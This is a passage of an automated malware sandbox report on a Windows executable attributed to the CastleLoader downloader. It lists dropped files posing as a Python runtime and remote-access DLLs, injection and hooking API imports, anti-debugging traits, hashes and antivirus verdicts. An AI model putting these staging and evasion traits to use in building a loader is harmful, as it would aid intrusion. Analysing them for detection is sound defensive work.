Location: [%ALLUSERSPROFILE%\NexusSoftware\felix1\_asyncio.pyd]- [targetUID: 00000000-00002512] "_hashlib.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\NexusSoftware\felix1\_hashlib.pyd]- [targetUID: 00000000-00002512] "_overlapped.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\NexusSoftware\felix1\_overlapped.pyd]- [targetUID: 00000000-00002512] "_zoneinfo.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\NexusSoftware\felix1\_zoneinfo.pyd]- [targetUID: 00000000-00002512] "_wmi.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\NexusSoftware\felix1\_wmi.pyd]- [targetUID: 00000000-00002512] "_multiprocessing.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\NexusSoftware\felix1\_multiprocessing.pyd]- [targetUID: 00000000-00002512] "_queue.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\NexusSoftware\felix1\_queue.pyd]- [targetUID: 00000000-00002512] "select.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\NexusSoftware\felix1\select.pyd]- [targetUID: 00000000-00002512] "winsound.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\NexusSoftware\felix1\winsound.pyd]- [targetUID: 00000000-00002512] "_uuid.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\NexusSoftware\felix1\_uuid.pyd]- [targetUID: 00000000-00002512] "PCICHEK.DLL" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%TEMP%\test2\PCICHEK.DLL]- [targetUID: 00000000-00002512] "__init__.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%ALLUSERSPROFILE%\NexusSoftware\felix1\pyarmor_runtime_000000\__init__.py]- [targetUID: 00000000-00002512]7d:T756,File "python.cat" is a certificate (Owner: CN=Microsoft Identity Verification Root Certificate Authority 2020, O=Microsoft Corporation, C=US; Issuer: CN=Microsoft Identity Verification Root Certificate Authority 2020, O=Microsoft Corporation, C=US; SerialNumber: 5498d2d1d45b1995481379c811c08799; Valid From: 04/16/2020 18:36:16; Until: 04/16/2045 18:44:40; Fingerprints: MD5=BE:95:4F:16:01:21:22:44:8C:A8:BC:27:96:02:AC:F5; SHA1=F4:00:42:E2:E5:F7:E8:EF:81:89:FE:D1:55:19:AE:CE:42:C3:BF:A2) File "python.cat" is a certificate (Owner: CN=Python Software Foundation, O=Python Software Foundation, L=Beaverton, ST=Oregon, C=US; Issuer: CN=Microsoft ID Verified CS EOC CA 02, O=Microsoft Corporation, C=US; SerialNumber: 330006cb566fe0765fe940215600000006cb56; Valid From: 02/03/2026 08:28:47; Until: 02/06/2026 08:28:47; Fingerprints: MD5=A4:BC:7D:AA:93:F2:9B:2C:0F:2D:60:43:B8:C8:15:D0; SHA1=AB:0D:2A:54:29:F7:49:A6:3E:F2:19:7B:11:28:57:BE:A6:76:7C:B0) File "python.cat" is a certificate (Owner: CN=Microsoft ID Verified CS EOC CA 02, O=Microsoft Corporation, C=US; Issuer: CN=Microsoft ID Verified Code Signing PCA 2021, O=Microsoft Corporation, C=US; SerialNumber: 3300000005fb7a5c321361df5d000000000005; Valid From: 04/13/2021 17:31:53; Until: 04/13/2026 17:31:53; Fingerprints: MD5=A5:45:B6:1A:D7:E2:79:EA:11:AF:A8:9F:88:67:6D:3C; SHA1=8B:C0:20:13:79:A2:A3:1B:A3:6E:DD:20:22:38:65:C1:94:A0:21:74) File "python.cat" is a certificate (Owner: CN=Microsoft ID Verified Code Signing PCA 2021, O=Microsoft Corporation, C=US; Issuer: CN=Microsoft Identity Verification Root Certificate Authority 2020, O=Microsoft Corporation, C=US; SerialNumber: 330000000787a334a37ba58e1c000000000007; Valid From: 04/01/2021 20:05:20; Until: 04/01/2036 20:15:20; Fingerprints: MD5=01:F8:F6:19:25:5C:B2:09:0E:CE:81:1A:B6:5D:88:CE; SHA1=8E:75:0F:45:9D:AF:9A:79:D6:37:0D:B7:47:AD:22:26:86:6A:D8:18)7e:T1a4b,"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" wrote 16384 bytes starting with PE header signature to file "C:\ProgramData\NexusSoftware\felix1\libcrypto-3.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000000100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" wrote 16384 bytes starting with PE header signature to file "C:\ProgramData\NexusSoftware\felix1\libffi-8.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000080100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" wrote 16384 bytes starting with PE header signature to file "C:\ProgramData\NexusSoftware\felix1\libssl-3.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000000100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" wrote 16384 bytes starting with PE header signature to file "C:\ProgramData\NexusSoftware\felix1\pyexpat.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000080100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" wrote 16384 bytes starting with PE header signature to file "C:\ProgramData\NexusSoftware\felix1\python.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" wrote 16384 bytes starting with PE header signature to file "C:\ProgramData\NexusSoftware\felix1\python3.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" wrote 16384 bytes starting with PE header signature to file "C:\ProgramData\NexusSoftware\felix1\python313.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000000100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" wrote 16384 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\test2\pcicapi.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" wrote 16384 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\test2\PCICHEK.DLL": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" wrote 16384 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\test2\PCICL32.DLL": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000100100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" wrote 16384 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\test2\remcmdstub.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" wrote 16384 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\test2\TCCTL32.DLL": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" wrote 16384 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\test2\HTCTL32.DLL": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" wrote 16384 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\test2\msedgewebview.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" wrote 16384 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\test2\msvcr100.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ...7f:T533,"sqlite3.dll" claimed CRC 5243768 while the actual is CRC 1610843 "libssl-3.dll" claimed CRC 1610843 while the actual is CRC 833463 "vcruntime140.dll" claimed CRC 833463 while the actual is CRC 123501 "msedgewebview.exe" claimed CRC 123501 while the actual is CRC 156342 "python.exe" claimed CRC 156342 while the actual is CRC 167247 "pythonw.exe" claimed CRC 167247 while the actual is CRC 152980 "remcmdstub.exe" claimed CRC 152980 while the actual is CRC 138065 "python3.dll" claimed CRC 138065 while the actual is CRC 80378 "vcruntime140_1.dll" claimed CRC 80378 while the actual is CRC 52724 "pcicapi.dll" claimed CRC 52724 while the actual is CRC 57253 "PCICL32.DLL" claimed CRC 57253 while the actual is CRC 3747174 "unicodedata.pyd" claimed CRC 3747174 while the actual is CRC 713997 "pyarmor_runtime.pyd" claimed CRC 713997 while the actual is CRC 670377 "TCCTL32.DLL" claimed CRC 673602 while the actual is CRC 445223 "HTCTL32.DLL" claimed CRC 445223 while the actual is CRC 345917 "_decimal.pyd" claimed CRC 345917 while the actual is CRC 340743 "pyexpat.pyd" claimed CRC 340743 while the actual is CRC 277398 "_ssl.pyd" claimed CRC 277398 while the actual is CRC 236595 "_lzma.pyd" claimed CRC 236595 while the actual is CRC 168763 "_elementtree.pyd" claimed CRC 168763 while the actual is CRC 19990380:T661,FindNextFileW WriteFile GetCommandLineW GetModuleHandleW OutputDebugStringW GetModuleFileNameW GetFileAttributesW LoadLibraryExW GetCommandLineA IsDebuggerPresent UnhandledExceptionFilter GetModuleHandleExW TerminateProcess CreateFileW GetProcAddress VirtualProtect CreateDirectoryW GetStartupInfoW FindFirstFileExW GetSystemInfo LoadLibraryA FindFirstFileW VirtualAlloc GetSystemDirectoryA LoadLibraryW Sleep send bind recvfrom sendto closesocket WSAStartup accept connect listen recv socket OutputDebugStringA GetFileAttributesA GetTempPathW CreateFileA GetTempPathA MapViewOfFile GetTickCount GetFileAttributesExW DeleteFileA DeleteFileW GetFileSize CreateFileMappingW CreateProcessA GetModuleFileNameA GetVersionExA OpenProcessToken GetModuleHandleA OpenProcess CreateThread RegCreateKeyExA RegCreateKeyA CreateProcessAsUserA RegCloseKey RegDeleteValueA GetUserNameA RegDeleteKeyA SetSecurityDescriptorDacl RegEnumKeyExA GetUserNameW StartServiceCtrlDispatcherA RegOpenKeyExA StartServiceA LoadLibraryExA GetComputerNameA GetThreadContext FindResourceA CreateFileMappingA VirtualProtectEx CopyFileA FindResourceExA CreateRemoteThread CreateDirectoryA DisconnectNamedPipe FindNextFileA FindFirstFileA WriteProcessMemory GetDriveTypeA LockResource ReadProcessMemory ExitThread DeviceIoControl WinExec OpenFileMappingA GetTempFileNameA ConnectNamedPipe ShellExecuteA GetUpdateRect FindWindowA GetLastActivePopup GetClipboardData GetCursorPos SetWindowsHookExA GetWindowThreadProcessId FindWindowExA InternetCrackUrlA EnumPrintersA81:T1251,File type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 7 sections" was dropped at "%ALLUSERSPROFILE%\NexusSoftware\felix1\python313.dll" File type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 8 sections" was dropped at "%ALLUSERSPROFILE%\NexusSoftware\felix1\libcrypto-3.dll" File type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections" was dropped at "%ALLUSERSPROFILE%\NexusSoftware\felix1\sqlite3.dll" File type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 8 sections" was dropped at "%ALLUSERSPROFILE%\NexusSoftware\felix1\libssl-3.dll" File type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 8 sections" was dropped at "%ALLUSERSPROFILE%\NexusSoftware\felix1\vcruntime140.dll" File type "PE32+ executable for MS Windows 6.00 (console) x86-64 6 sections" was dropped at "%ALLUSERSPROFILE%\NexusSoftware\felix1\python.exe" File type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 6 sections" was dropped at "%ALLUSERSPROFILE%\NexusSoftware\felix1\pythonw.exe" File type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 2 sections" was dropped at "%ALLUSERSPROFILE%\NexusSoftware\felix1\python3.dll" File type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections" was dropped at "%ALLUSERSPROFILE%\NexusSoftware\felix1\vcruntime140_1.dll" File type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections" was dropped at "%ALLUSERSPROFILE%\NexusSoftware\felix1\unicodedata.pyd" File type "PE32+ executable for MS Windows 5.02 (DLL) x86-64 (stripped to external PDB) 11 sections" was dropped at "%ALLUSERSPROFILE%\NexusSoftware\felix1\pyarmor_runtime_000000\pyarmor_runtime.pyd" File type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections" was dropped at "%ALLUSERSPROFILE%\NexusSoftware\felix1\_decimal.pyd" File type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections" was dropped at "%ALLUSERSPROFILE%\NexusSoftware\felix1\pyexpat.pyd" File type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections" was dropped at "%ALLUSERSPROFILE%\NexusSoftware\felix1\_ssl.pyd" File type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections" was dropped at "%ALLUSERSPROFILE%\NexusSoftware\felix1\_lzma.pyd" File type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections" was dropped at "%ALLUSERSPROFILE%\NexusSoftware\felix1\_elementtree.pyd" File type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections" was dropped at "%ALLUSERSPROFILE%\NexusSoftware\felix1\_ctypes.pyd" File type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections" was dropped at "%ALLUSERSPROFILE%\NexusSoftware\felix1\_sqlite3.pyd" File type "Python script ASCII text executable with very long lines (65414) with CRLF line terminators" was dropped at "%ALLUSERSPROFILE%\NexusSoftware\felix1\main.py" File type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections" was dropped at "%ALLUSERSPROFILE%\NexusSoftware\felix1\_bz2.pyd" File type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections" was dropped at "%ALLUSERSPROFILE%\NexusSoftware\felix1\_socket.pyd" File type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections" was dropped at "%ALLUSERSPROFILE%\NexusSoftware\felix1\_asyncio.pyd" File type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections" was dropped at "%ALLUSERSPROFILE%\NexusSoftware\felix1\_hashlib.pyd" File type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections" was dropped at "%ALLUSERSPROFILE%\NexusSoftware\felix1\_overlapped.pyd" File type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections" was dropped at "%ALLUSERSPROFILE%\NexusSoftware\felix1\_zoneinfo.pyd" File type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections" was dropped at "%ALLUSERSPROFILE%\NexusSoftware\felix1\_wmi.pyd" File type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections" was dropped at "%ALLUSERSPROFILE%\NexusSoftware\felix1\_multiprocessing.pyd" File type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections" was dropped at "%ALLUSERSPROFILE%\NexusSoftware\felix1\_queue.pyd" File type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections" was dropped at "%ALLUSERSPROFILE%\NexusSoftware\felix1\select.pyd" File type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections" was dropped at "%ALLUSERSPROFILE%\NexusSoftware\felix1\winsound.pyd" File type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections" was dropped at "%ALLUSERSPROFILE%\NexusSoftware\felix1\_uuid.pyd" File type "Python script ASCII text executable with CRLF line terminators" was dropped at "%ALLUSERSPROFILE%\NexusSoftware\felix1\pyarmor_runtime_000000\__init__.py"30:["$","$Lc",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$33"}}],["$","$L35",null,{"initialData":{"schema_version":"1.0.17","sha256":"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"SUCCESS","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1793995268219,"unified_at":"2026-11-06T20:01:08.219Z","metadata":{"hashes":{"sha256":"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6","sha1":"de10019b5cfb6a94a25f352c7cb0905ad2f79b81","md5":"4acc7c823795c6152716915de8ab0732","sha512":"6d11e9247e982fe28c5ae08732d8a695277a0793ae8a02e118c120a0170c1828a73ebbba2b8259596f0ef0dd9d466c6974c527d241c75090ec2e0e3b6c87a7b7","ssdeep":"6144:yaIYyNzhShFOsKRg/HUNsZMaV2A8Ce6J5LIYl/Ph4x+62zh:y3YkzWFDKS/07y2A8MJ953zh","ssdeep_chunks":["6144:yaIYyNz","6144:aIYyNzh","6144:IYyNzhS","6144:YyNzhSh","6144:yNzhShF","6144:NzhShFO","6144:zhShFOs","6144:hShFOsK","6144:ShFOsKR","6144:hFOsKRg","6144:FOsKRg/","6144:OsKRg/H","6144:sKRg/HU","6144:KRg/HUN","6144:Rg/HUNs","6144:g/HUNsZ","6144:/HUNsZM","6144:HUNsZMa","6144:UNsZMaV","6144:NsZMaV2","6144:sZMaV2A","6144:ZMaV2A8","6144:MaV2A8C","6144:aV2A8Ce","6144:V2A8Ce6","6144:2A8Ce6J","6144:A8Ce6J5","6144:8Ce6J5L","6144:Ce6J5LI","6144:e6J5LIY","6144:6J5LIYl","6144:J5LIYl/","6144:5LIYl/P","6144:LIYl/Ph","6144:IYl/Ph4","6144:Yl/Ph4x","6144:l/Ph4x+","6144:/Ph4x+6","6144:Ph4x+62","6144:h4x+62z","6144:4x+62zh","12288:yaIYyNz","12288:aIYyNzh","12288:IYyNzhS","12288:YyNzhSh","12288:yNzhShF","12288:NzhShFO","12288:zhShFOs","12288:hShFOsK","12288:ShFOsKR","12288:hFOsKRg","12288:FOsKRg/","12288:OsKRg/H","12288:sKRg/HU","12288:KRg/HUN","12288:Rg/HUNs","12288:g/HUNsZ","12288:/HUNsZM","12288:HUNsZMa","12288:UNsZMaV","12288:NsZMaV2","12288:sZMaV2A","12288:ZMaV2A8","12288:MaV2A8C","12288:aV2A8Ce","12288:V2A8Ce6","12288:2A8Ce6J","12288:A8Ce6J5","12288:8Ce6J5L","12288:Ce6J5LI","12288:e6J5LIY","12288:6J5LIYl","12288:J5LIYl/","12288:5LIYl/P","12288:LIYl/Ph","12288:IYl/Ph4","12288:Yl/Ph4x","12288:l/Ph4x+","12288:/Ph4x+6","12288:Ph4x+62","12288:h4x+62z","12288:4x+62zh","6144:y3YkzWF","6144:3YkzWFD","6144:YkzWFDK","6144:kzWFDKS","6144:zWFDKS/","6144:WFDKS/0","6144:FDKS/07","6144:DKS/07y","6144:KS/07y2","6144:S/07y2A","6144:/07y2A8","6144:07y2A8M","6144:7y2A8MJ","6144:y2A8MJ9","6144:2A8MJ95","6144:A8MJ953","6144:8MJ953z","6144:MJ953zh"],"imphash":"9cd192f31de0a4923c0af8a2da835b29"},"file_info":{"file_name":"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe","file_type":["peexe","executable"],"file_type_id":"exe","file_size":259072,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1791407554000,"last_seen":1793372036000,"last_multi_scan":1793372036000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["providedasaservice","botnet","criminal","castleloader","downloader","malicious","suspicious"]},"stats":{"av":{"malicious_count":12,"suspicious_count":0,"total_engines":25},"attributions":{"malware_families_count":2,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":122},"sandbox_signatures":{"informative_count":300,"suspicious_count":16,"malicious_count":10,"total":326},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Malware/Win.pyW","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan/Win32.Kryptik","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"aurora":{"name":"Aurora","success":true,"verdict":"malicious","threat_name":"Malware_100.0","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"TR/W32.MalwareX","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Gen:Trojan.Heur.JP.pyW@aesh84fi","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_70% (D)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Gen:Trojan.Heur.JP.pyW@aesh84fi (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"a variant of Win32/CastleBot.B trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Kryptik.sa","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sentinelone":{"name":"SentinelOne","success":true,"verdict":"malicious","threat_name":"capa_check_for_OutputDebugString_error","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trellix":{"name":"Trellix","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.GenHeur.C","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xcitium":{"name":"Xcitium","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"malicious","threat_name":"Trojan.Sdum.Win32.42608","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Trojan.JP.Generic","sources":[{"report_type":"quickscan","report_id":""}]},{"value":"CastleLoader","sources":[{"report_type":"qsp","report_id":""}]}]},"mitre_attacks":[{"tactic":"Stealth","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","identifiers":[{"type":"informative","value":"Contains ability to check debugger is running (API string)"},{"type":"malicious","value":"Uses Vector Exception Handler for anti-analysis"},{"type":"informative","value":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)"},{"type":"informative","value":"Contains ability to register a top-level exception handler (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"tactic":"Discovery","technique":"System Information 